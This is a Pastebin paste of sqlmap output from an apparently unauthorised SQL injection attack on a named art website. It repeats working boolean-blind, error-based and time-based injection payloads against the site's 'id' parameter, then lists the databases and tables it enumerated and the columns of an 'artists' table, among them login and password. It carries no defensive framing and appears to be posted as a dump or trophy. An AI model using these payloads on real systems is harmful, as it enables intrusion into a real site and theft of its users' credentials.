sauzadeace

www.benlongfineart.com|database|

Apr 28th, 2012
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.13 KB | None | 0 0
  1. Place: GET
  2. Parameter: id
  3. Type: boolean-based blind
  4. Title: AND boolean-based blind - WHERE or HAVING clause
  5. Payload: id=5' AND 7298=7298 AND 'JxvT'='JxvT
  6.  
  7. Type: error-based
  8. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  9. Payload: id=5' AND (SELECT 1752 FROM(SELECT COUNT(*),CONCAT(CHAR(58,100,102,107,58),(SELECT (CASE WHEN (1752=1752) THEN 1 ELSE 0 END)),CHAR(58,104,108,98,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jSmY'='jSmY
  10.  
  11. Type: AND/OR time-based blind
  12. Title: MySQL > 5.0.11 AND time-based blind
  13. Payload: id=5' AND SLEEP(5) AND 'UDJK'='UDJK
  14. ---
  15.  
  16. available databases [3]:
  17. [*] benlongfineart
  18. [*] information_schema
  19. [*] test
  20.  
  21. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  22. ---
  23. Place: GET
  24. Parameter: id
  25. Type: boolean-based blind
  26. Title: AND boolean-based blind - WHERE or HAVING clause
  27. Payload: id=5' AND 7298=7298 AND 'JxvT'='JxvT
  28.  
  29. Type: error-based
  30. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  31. Payload: id=5' AND (SELECT 1752 FROM(SELECT COUNT(*),CONCAT(CHAR(58,100,102,107,58),(SELECT (CASE WHEN (1752=1752) THEN 1 ELSE 0 END)),CHAR(58,104,108,98,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jSmY'='jSmY
  32.  
  33. Type: AND/OR time-based blind
  34. Title: MySQL > 5.0.11 AND time-based blind
  35. Payload: id=5' AND SLEEP(5) AND 'UDJK'='UDJK
  36. ---
  37.  
  38. Database: benlongfineart
  39. [21 tables]
  40. +--------------------+
  41. | artist_features |
  42. | artist_files |
  43. | artist_links |
  44. | artists |
  45. | bio |
  46. | contacts |
  47. | contacts_lists |
  48. | dgallery |
  49. | dgallery_contacts |
  50. | dgallery_items |
  51. | file_types |
  52. | fresco |
  53. | fresco_2 |
  54. | fresco_detail |
  55. | gallery |
  56. | gallery_categories |
  57. | gallery_lists |
  58. | lists |
  59. | medium |
  60. | news |
  61. | subject |
  62. +--------------------+
  63. Place: GET
  64. Parameter: id
  65. Type: boolean-based blind
  66. Title: AND boolean-based blind - WHERE or HAVING clause
  67. Payload: id=5' AND 7298=7298 AND 'JxvT'='JxvT
  68.  
  69. Type: error-based
  70. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  71. Payload: id=5' AND (SELECT 1752 FROM(SELECT COUNT(*),CONCAT(CHAR(58,100,102,107,58),(SELECT (CASE WHEN (1752=1752) THEN 1 ELSE 0 END)),CHAR(58,104,108,98,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jSmY'='jSmY
  72.  
  73. Type: AND/OR time-based blind
  74. Title: MySQL > 5.0.11 AND time-based blind
  75. Payload: id=5' AND SLEEP(5) AND 'UDJK'='UDJK
  76. ---
  77.  
  78. Database: benlongfineart
  79. Table: artists
  80. [8 columns]
  81. +-------------+--------------+
  82. | Column | Type |
  83. +-------------+--------------+
  84. | description | text |
  85. | directory | varchar(100) |
  86. | id | int(11) |
  87. | login | varchar(100) |
  88. | name | varchar(200) |
  89. | password | varchar(100) |
  90. | path | varchar(200) |
  91. | sort_name | varchar(200) |
  92. +-------------+--------------+
  93.  
  94. sauzadeace
  95. |||SAUZADEACE|||
Add Comment
Please, Sign In to add comment